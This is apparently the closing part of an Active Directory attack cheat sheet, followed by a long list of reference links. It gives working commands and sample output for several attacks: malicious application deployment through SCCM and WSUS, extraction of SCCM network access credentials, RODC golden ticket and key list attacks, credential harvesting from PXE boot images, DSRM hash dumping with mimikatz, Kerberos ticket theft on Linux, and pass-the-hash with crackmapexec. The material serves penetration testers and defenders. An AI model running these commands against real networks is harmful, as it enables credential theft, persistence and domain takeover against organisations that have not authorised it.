* Create an application pointing to a malicious EXE on a world readable share : `SCCMContentLib$`
```ps1
MalSCCM.exe app /create /name:demoapp /uncpath:"\\BLORE-SCCM\SCCMContentLib$\localthread.exe"
MalSCCM.exe inspect /applications
```
* Deploy the application to the target group
```ps1
MalSCCM.exe app /deploy /name:demoapp /groupname:TargetGroup /assignmentname:demodeployment
MalSCCM.exe inspect /deployments
```
* Force the target group to checkin for updates
```ps1
MalSCCM.exe checkin /groupname:TargetGroup
```
* Cleanup the application, deployment and group
```ps1
MalSCCM.exe app /cleanup /name:demoapp
MalSCCM.exe group /delete /groupname:TargetGroup
```
## SCCM Network Access Accounts
> If you can escalate on a host that is an SCCM client, you can retrieve plaintext domain credentials.
* Find SCCM blob
```ps1
Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
NetworkAccessPassword : <![CDATA[E600000001...8C6B5]]>
NetworkAccessUsername : <![CDATA[E600000001...00F92]]>
```
* Using [GhostPack/SharpDPAPI](https://github.com/GhostPack/SharpDPAPI/blob/81e1fcdd44e04cf84ca0085cf5db2be4f7421903/SharpDPAPI/Commands/SCCM.cs#L208-L244) or [Mayyhem/SharpSCCM](https://github.com/Mayyhem/SharpSCCM) for SCCM retrieval and decryption
```ps1
.\SharpDPAPI.exe SCCM
.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
```
* Check ACL for the CIM repository located at `C:\Windows\System32\wbem\Repository\OBJECTS.DATA`:
```ps1
Get-Acl C:\Windows\System32\wbem\Repository\OBJECTS.DATA | Format-List -Property PSPath,sddl
ConvertFrom-SddlString ""
```
## SCCM Shares
> Find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares
* [1njected/CMLoot](https://github.com/1njected/CMLoot)
```ps1
Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt
Invoke-CMLootDownload -SingleFile \\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml
Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension msi
```
## WSUS Deployment
> Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates. You can use WSUS to fully manage the distribution of updates that are released through Microsoft Update to computers on your network
:warning: The payload must be a Microsoft signed binary and must point to a location on disk for the WSUS server to load that binary.
* [SharpWSUS](https://github.com/nettitude/SharpWSUS)
1. Locate using `HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate` or `SharpWSUS.exe locate`
2. After WSUS Server compromise: `SharpWSUS.exe inspect`
3. Create a malicious patch: `SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^& net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"`
4. Deploy it on the target: `SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group"`
5. Check status deployment: `SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local`
6. Clean up: `SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:”Demo Group`
## RODC - Read Only Domain Controller
RODCs are an alternative for Domain Controllers in less secure physical locations
- Contains a filtered copy of AD (LAPS and Bitlocker keys are excluded)
- Any user or group specified in the **managedBy** attribute of an RODC has local admin access to the RODC server
### RODC Golden Ticket
* You can forge an RODC golden ticket and present it to a writable Domain Controller only for principals listed in the RODC’s **msDS-RevealOnDemandGroup** attribute and not in the RODC’s **msDS-NeverRevealGroup** attribute
### RODC Key List Attack
**Requirements**:
* [Impacket PR #1210 - The Kerberos Key List Attack](https://github.com/SecureAuthCorp/impacket/pull/1210)
* **krbtgt** credentials of the RODC (-rodcKey)
* **ID of the krbtgt** account of the RODC (-rodcNo)
* using Impacket
```ps1
# keylistattack.py using SAMR user enumeration without filtering (-full flag)
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
# keylistattack.py defining a target username (-t flag)
keylistattack.py -kdc server.domain.local -t user -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX LIST
# secretsdump.py using the Kerberos Key List Attack option (-use-keylist)
secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
```
* Using Rubeus
```ps1
Rubeus.exe golden /rodcNumber:25078 /aes256:eacd894dd0d934e84de35860ce06a4fac591ca63c228ddc1c7a0ebbfa64c7545 /user:admin /id:1136 /domain:lab.local /sid:S-1-5-21-1437000690-1664695696-1586295871
Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/lab.local /dc:dc1.lab.local /ticket:doIFgzCC[...]wIBBxhYnM=
```
### RODC Computer Object
When you have one the following permissions to the RODC computer object: **GenericWrite**, **GenericAll**, **WriteDacl**, **Owns**, **WriteOwner**, **WriteProperty**.
* Add a domain admin account to the RODC's **msDS-RevealOnDemandGroup** attribute
```ps1
PowerSploit> Set-DomainObject -Identity RODC$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')}
```
## PXE Boot image attack
PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.
- Press **[F8]** during the PXE boot to spawn an administrator console on the deployed machine.
- Press **[SHIFT+F10]** during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.
```powershell
net user hacker Password123! /add
net localgroup administrators /add hacker
```
- Extract the pre-boot image (wim files) using [PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe)](https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.
```powershell
# Import the module
PS > Import-Module .\PowerPXE.ps1
# Start the exploit on the Ethernet interface
PS > Get-PXEcreds -InterfaceAlias Ethernet
PS > Get-PXECreds -InterfaceAlias « lab 0 »
# Wait for the DHCP to get an address
>> Get a valid IP address
>>> >>> DHCP proposal IP address: 192.168.22.101
>>> >>> DHCP Validation: DHCPACK
>>> >>> IP address configured: 192.168.22.101
# Extract BCD path from the DHCP response
>> Request BCD File path
>>> >>> BCD File path: \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
>>> >>> TFTP IP Address: 192.168.22.3
# Download the BCD file and extract wim files
>> Launch TFTP download
>>>> Transfer succeeded.
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
>> Launch TFTP download
>>>> Transfer succeeded.
# Parse wim files to find interesting data
>> Open LiteTouchPE_x86.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$
>>>> >>>> UserID = MdtService
>>>> >>>> UserPassword = Somepass1
```
## DNS Reconnaissance
Perform ADIDNS searches
```powershell
StandIn.exe --dns --limit 20
StandIn.exe --dns --filter SQL --limit 10
StandIn.exe --dns --forest --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --dns --legacy --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
```
## DSRM Credentials
> Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database.
This is the local administrator account inside each DC. Having admin privileges in this machine, you can use mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user.
```ps1
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
# Check if the key exists and get the value
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior
# Create key with value "2" if it doesn't exist
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD
# Change value to "2"
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
```
## Linux Active Directory
## CCACHE ticket reuse from /tmp
> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions
List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be reused by setting the environment variable with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID.
```powershell
$ ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115
$ export KRB5CCNAME=/tmp/krb5cc_1569901115
```
## CCACHE ticket reuse from keyring
Tool to extract Kerberos tickets from Linux kernel keys : https://github.com/TarlogicSecurity/tickey
```powershell
# Configuration and build
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets
```
## CCACHE ticket reuse from SSSD KCM
SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`.
The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`.
By default, the key is only readable if you have **root** permissions.
Invoking `SSSDKCMExtractor` with the --database and --key parameters will parse the database and decrypt the secrets.
```powershell
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus.
## CCACHE ticket reuse from keytab
```powershell
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```
## Extract accounts from /etc/krb5.keytab
The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.
Use [`klist`](https://adoptopenjdk.net/?variant=openjdk13&jvmVariant=hotspot) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23 is the actual NT Hash of the user.
```powershell
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
KVNO: 25
Key type: 23
Key: 31d6cfe0d16ae931b73c59d7e0c089c0
Time stamp: Oct 07, 2019 09:12:02
[...]
```
On Linux you can use [`KeyTabExtract`](https://github.com/sosdave/KeyTabExtract): we want RC4 HMAC hash to reuse the NLTM hash.
```powershell
$ python3 keytabextract.py krb5.keytab
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
REALM : DOMAIN
SERVICE PRINCIPAL : host/computer.domain
NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
```
On macOS you can use `bifrost`.
```powershell
./bifrost -action dump -source keytab -path test
```
Connect to the machine using the account and the hash with CME.
```powershell
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0
```
## References
* [Explain like I’m 5: Kerberos - Apr 2, 2013 - @roguelynn](https://www.roguelynn.com/words/explain-like-im-5-kerberos/)
* [Impersonating Office 365 Users With Mimikatz - January 15, 2017 - Michael Grafnetter](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
* [Abusing Exchange: One API call away from Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin)
* [Abusing Kerberos: Kerberoasting - Haboob Team](https://www.exploit-db.com/docs/english/45051-abusing-kerberos---kerberoasting.pdf)
* [Abusing S4U2Self: Another Sneaky Active Directory Persistence - Alsid](https://alsid.com/company/news/abusing-s4u2self-another-sneaky-active-directory-persistence)
* [Attacks Against Windows PXE Boot Images - February 13th, 2018 - Thomas Elling](https://blog.netspi.com/attacks-against-windows-pxe-boot-images/)
* [BUILDING AND ATTACKING AN ACTIVE DIRECTORY LAB WITH POWERSHELL - @myexploit2600 & @5ub34x](https://1337red.wordpress.com/building-and-attacking-an-active-directory-lab-with-powershell/)
* [Becoming Darth Sidious: Creating a Windows Domain (Active Directory) and hacking it - @chryzsh](https://chryzsh.gitbooks.io/darthsidious/content/building-a-lab/building-a-lab/building-a-small-lab.html)
* [BlueHat IL - Benjamin Delpy](https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/BenjaminDelpy.pdf)
* [COMPROMISSION DES POSTES DE TRAVAIL GRÂCE À LAPS ET PXE MISC n° 103 - mai 2019 - Rémi Escourrou, Cyprien Oger ](https://connect.ed-diamond.com/MISC/MISC-103/Compromission-des-postes-de-travail-grace-a-LAPS-et-PXE)
* [Chump2Trump - AD Privesc talk at WAHCKon 2017 - @l0ss](https://github.com/l0ss/Chump2Trump/blob/master/ChumpToTrump.pdf)
* [DiskShadow The return of VSS Evasion Persistence and AD DB extraction](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/)
* [Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin](https://hausec.com/2017/10/21/domain-penetration-testing-using-bloodhound-crackmapexec-mimikatz-to-get-domain-admin/)
* [Dumping Domain Password Hashes - Pentestlab](https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/)
* [Exploiting MS14-068 with PyKEK and Kali - 14 DEC 2014 - ZACH GRACE @ztgrace](https://zachgrace.com/posts/exploiting-ms14-068/)
* [Exploiting PrivExchange - April 11, 2019 - @chryzsh](https://chryzsh.github.io/exploiting-privexchange/)
* [Exploiting Unconstrained Delegation - Riccardo Ancarani - 28 APRIL 2019](https://www.riccardoancarani.it/exploiting-unconstrained-delegation/)
* [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288)
* [How Attackers Use Kerberos Silver Tickets to Exploit Systems - Sean Metcalf](https://adsecurity.org/?p=2011)
* [Fun with LDAP, Kerberos (and MSRPC) in AD Environments](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments)
* [Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html)
* [Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html)
* [Golden ticket - Pentestlab](https://pentestlab.blog/2018/04/09/golden-ticket/)
* [How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff](https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/)
* [Hunting in Active Directory: Unconstrained Delegation & Forests Trusts - Roberto Rodriguez - Nov 28, 2018](https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1)
* [Invoke-Kerberoast - Powersploit Read the docs](https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/)
* [Kerberoasting - Part 1 - Mubix “Rob” Fuller](https://room362.com/post/2016/kerberoast-pt1/)
* [Passing the hash with native RDP client (mstsc.exe)](https://michael-eder.net/post/2018/native_rdp_pass_the_hash/)
* [Pen Testing Active Directory Environments - Part I: Introduction to crackmapexec (and PowerView)](https://blog.varonis.com/pen-testing-active-directory-environments-part-introduction-crackmapexec-powerview/)
* [Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView](https://blog.varonis.com/pen-testing-active-directory-environments-part-ii-getting-stuff-done-with-powerview/)
* [Pen Testing Active Directory Environments - Part III: Chasing Power Users](https://blog.varonis.com/pen-testing-active-directory-environments-part-iii-chasing-power-users/)
* [Pen Testing Active Directory Environments - Part IV: Graph Fun](https://blog.varonis.com/pen-testing-active-directory-environments-part-iv-graph-fun/)
* [Pen Testing Active Directory Environments - Part V: Admins and Graphs](https://blog.varonis.com/pen-testing-active-directory-v-admins-graphs/)
* [Pen Testing Active Directory Environments - Part VI: The Final Case](https://blog.varonis.com/pen-testing-active-directory-part-vi-final-case/)
* [Penetration Testing Active Directory, Part I - March 5, 2019 - Hausec](https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/)
* [Penetration Testing Active Directory, Part II - March 12, 2019 - Hausec](https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/)
* [Post-OSCP Series Part 2 - Kerberoasting - 16 APRIL 2019 - Jon Hickman](https://0metasecurity.com/post-oscp-part-2/)
* [Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith](https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/)
* [Red Teaming Made Easy with Exchange Privilege Escalation and PowerPriv - Thursday, January 31, 2019 - Dave](http://blog.redxorblue.com/2019/01/red-teaming-made-easy-with-exchange.html)
* [Roasting AS-REPs - January 17, 2017 - harmj0y](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/)
* [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa)
* [Using bloodhound to map the user network - Hausec](https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/)
* [WHAT’S SPECIAL ABOUT THE BUILTIN ADMINISTRATOR ACCOUNT? - 21/05/2012 - MORGAN SIMONSEN](https://morgansimonsen.com/2012/05/21/whats-special-about-the-builtin-administrator-account-12/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 1](https://akerva.com/blog/wonkachall-akerva-ndh-2018-write-up-part-1/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 2](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-2/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 3](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-3/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 4](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-4/)
* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 5](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-5/)
* [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory - 28 January 2019 - Elad Shami](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
* [A Case Study in Wagging the Dog: Computer Takeover - Will Schroeder - Feb 28, 2019](https://posts.specterops.io/a-case-study-in-wagging-the-dog-computer-takeover-2bcb7f94c783)
* [[PrivExchange] From user to domain admin in less than 60sec ! - davy](http://blog.randorisec.fr/privexchange-from-user-to-domain-admin-in-less-than-60sec/)
* [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy - March 16, 2017 - harmj0y](http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/)
* [Kerberos (II): How to attack Kerberos? - June 4, 2019 - ELOY PÉREZ](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
* [Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory - Sean Metcalf](https://adsecurity.org/?p=3592)
* [All you need to know about Keytab files - Pierre Audonnet [MSFT] - January 3, 2018](https://blogs.technet.microsoft.com/pie/2018/01/03/all-you-need-to-know-about-keytab-files/)
* [Taming the Beast Assess Kerberos-Protected Networks - Emmanuel Bouillon](https://www.blackhat.com/presentations/bh-europe-09/Bouillon/BlackHat-Europe-09-Bouillon-Taming-the-Beast-Kerberous-slides.pdf)
* [Playing with Relayed Credentials - June 27, 2018](https://www.secureauth.com/blog/playing-relayed-credentials)
* [Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/)
* [Drop the MIC - CVE-2019-1040 - Marina Simakov - Jun 11, 2019](https://blog.preempt.com/drop-the-mic)
* [How to build a SQL Server Virtual Lab with AutomatedLab in Hyper-V - October 30, 2017 - Craig Porteous](https://www.sqlshack.com/build-sql-server-virtual-lab-automatedlab-hyper-v/)
* [SMB Share – SCF File Attacks - December 13, 2017 - @netbiosX](https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/)
* [Escalating privileges with ACLs in Active Directory - April 26, 2018 - Rindert Kramer and Dirk-jan Mollema](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
* [A Red Teamer’s Guide to GPOs and OUs - APRIL 2, 2018 - @_wald0](https://wald0.com/?p=179)
* [Carlos Garcia - Rooted2019 - Pentesting Active Directory Forests public.pdf](https://www.dropbox.com/s/ilzjtlo0vbyu1u0/Carlos%20Garcia%20-%20Rooted2019%20-%20Pentesting%20Active%20Directory%20Forests%20public.pdf?dl=0)
* [Kerberosity Killed the Domain: An Offensive Kerberos Overview - Ryan Hausknecht - Mar 10](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
* [Active-Directory-Exploitation-Cheat-Sheet - @buftas](https://github.com/buftas/Active-Directory-Exploitation-Cheat-Sheet#local-privilege-escalation)
* [GPO Abuse - Part 1 - RastaMouse - 6 January 2019](https://rastamouse.me/2019/01/gpo-abuse-part-1/)
* [GPO Abuse - Part 2 - RastaMouse - 13 January 2019](https://rastamouse.me/2019/01/gpo-abuse-part-2/)
* [Abusing GPO Permissions - harmj0y - March 17, 2016](https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/)
* [How To Attack Kerberos 101 - m0chan - July 31, 2019](https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html)
* [ACE to RCE - @JustinPerdok - July 24, 2020](https://sensepost.com/blog/2020/ace-to-rce/)
* [Zerologon:Unauthenticated domain controller compromise by subverting Netlogon cryptography (CVE-2020-1472) - Tom Tervoort, September 2020](https://www.secura.com/pathtoimg.php?id=2055)
* [Access Control Entries (ACEs) - The Hacker Recipes - @_nwodtuhs](https://www.thehacker.recipes/active-directory-domain-services/movement/abusing-aces)
* [CVE-2020-17049: Kerberos Bronze Bit Attack – Practical Exploitation - Jake Karnes - December 8th, 2020](https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-attack/)
* [CVE-2020-17049: Kerberos Bronze Bit Attack – Theory - Jake Karnes - December 8th, 2020](https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-theory/)
* [Kerberos Bronze Bit Attack (CVE-2020-17049) Scenarios to Potentially Compromise Active Directory](https://www.hub.trimarcsecurity.com/post/leveraging-the-kerberos-bronze-bit-attack-cve-2020-17049-scenarios-to-compromise-active-directory)
* [GPO Abuse: "You can't see me" - Huy Kha - July 19, 2019](https://pentestmag.com/gpo-abuse-you-cant-see-me/)
* [Lateral movement via dcom: round 2 - enigma0x3 - January 23, 2017](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
* [New lateral movement techniques abuse DCOM technology - Philip Tsukerman - Jan 25, 2018](https://www.cybereason.com/blog/dcom-lateral-movement-techniques)
* [Kerberos Tickets on Linux Red Teams - April 01, 2020 | by Trevor Haskell](https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html)
* [AD CS relay attack - practical guide - 23 Jun 2021 - @exandroiddev](https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/)
* [Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover - Elad Shamir - Jun 17](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)
* [Playing with PrintNightmare - 0xdf - Jul 8, 2021](https://0xdf.gitlab.io/2021/07/08/playing-with-printnightmare.html)
* [Attacking Active Directory: 0 to 0.9 - Eloy Pérez González - 2021/05/29](https://zer1t0.gitlab.io/posts/attacking_ad/)
* [Microsoft ADCS – Abusing PKI in Active Directory Environment - Jean MARSAULT - 14/06/2021](https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/)
* [Certified Pre-Owned - Will Schroeder and Lee Christensen - June 17, 2021](http://www.harmj0y.net/blog/activedirectory/certified-pre-owned/)
* [NTLM relaying to AD CS - On certificates, printers and a little hippo - Dirk-jan Mollema](https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/)
* [Certified Pre-Owned Abusing Active Directory Certificate Services - @harmj0y @tifkin_](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Certified-Pre-Owned-Abusing-Active-Directory-Certificate-Services.pdf)
* [Certified Pre-Owned - Will Schroeder - Jun 17 2021](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
* [AD CS/PKI template exploit via PetitPotam and NTLMRelayx, from 0 to DomainAdmin in 4 steps by frank | Jul 23, 2021](https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/)
* [NTLMv1_Downgrade.md - S3cur3Th1sSh1t - 09/07/2021](https://gist.github.com/S3cur3Th1sSh1t/0c017018c2000b1d5eddf2d6a194b7bb)
* [UnPAC the hash - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash)
* [Lateral Movement – WebClient](https://pentestlab.blog/2021/10/20/lateral-movement-webclient/)
* [Shadow Credentials: Workstation Takeover Edition - Matthew Creel](https://www.fortalicesolutions.com/posts/shadow-credentials-workstation-takeover-edition)
* [Certificate templates - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/certificate-templates)
* [CA configuration - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/ca-configuration)
* [Access controls - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/access-controls)
* [Web endpoints - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/web-endpoints)
* [sAMAccountName spoofing - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing)
* [CVE-2021-42287/CVE-2021-42278 Weaponisation - @exploitph](https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html)
* [ADCS: Playing with ESC4 - Matthew Creel](https://www.fortalicesolutions.com/posts/adcs-playing-with-esc4)
* [The Kerberos Key List Attack: The return of the Read Only Domain Controllers - Leandro Cuozzo](https://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers/)
* [AD CS: weaponizing the ESC7 attack - Kurosh Dabbagh - 26 January, 2022](https://www.blackarrow.net/adcs-weaponizing-esc7-attack/)
* [AD CS: from ManageCA to RCE - 11 February, 2022 - Pablo Martínez, Kurosh Dabbagh](https://www.blackarrow.net/ad-cs-from-manageca-to-rce/)
* [Introducing the Golden GMSA Attack - YUVAL GORDON - March 01, 2022](https://www.semperis.com/blog/golden-gmsa-attack/)
* [Introducing MalSCCM - Phil Keeble -May 4, 2022](https://labs.nettitude.com/blog/introducing-malsccm/)
* [Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923) - Oliver Lyak](https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4)
* [bloodyAD and CVE-2022-26923 - soka - 11 May 2022](https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html)
* [DIVING INTO PRE-CREATED COMPUTER ACCOUNTS - May 10, 2022 - By Oddvar Moe](https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/)
* [How NOT to use the PAM trust - Leveraging Shadow Principals for Cross Forest Attacks - Thursday, April 18, 2019 - Nikhil SamratAshok Mittal](http://www.labofapenetrationtester.com/2019/04/abusing-PAM.html)
* [Shadow Credentials - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials)
* [Network Access Accounts are evil… - ROGER ZANDER - 13 SEP 2015](https://rzander.azurewebsites.net/network-access-accounts-are-evil/)
* [The Phantom Credentials of SCCM: Why the NAA Won’t Die - Duane Michael - Jun 28](https://posts.specterops.io/the-phantom-credentials-of-sccm-why-the-naa-wont-die-332ac7aa1ab9)
* [Diamond tickets - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/diamond)
* [A Diamond (Ticket) in the Ruff - By CHARLIE CLARK July 05, 2022](https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/)
* [Sapphire tickets - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/sapphire)
* [Exploiting RBCD Using a Normal User Account - tiraniddo.dev - Friday, 13 May 2022](https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html)
* [Exploring SCCM by Unobfuscating Network Access Accounts - @_xpn_ - Posted on 2022-07-09](https://blog.xpnsec.com/unobfuscating-network-access-accounts/)
* [.NET Advanced Code Auditing XmlSerializer Deserialization Vulnerability - April 2, 2019 by znlive](https://znlive.com/xmlserializer-deserialization-vulnerability)
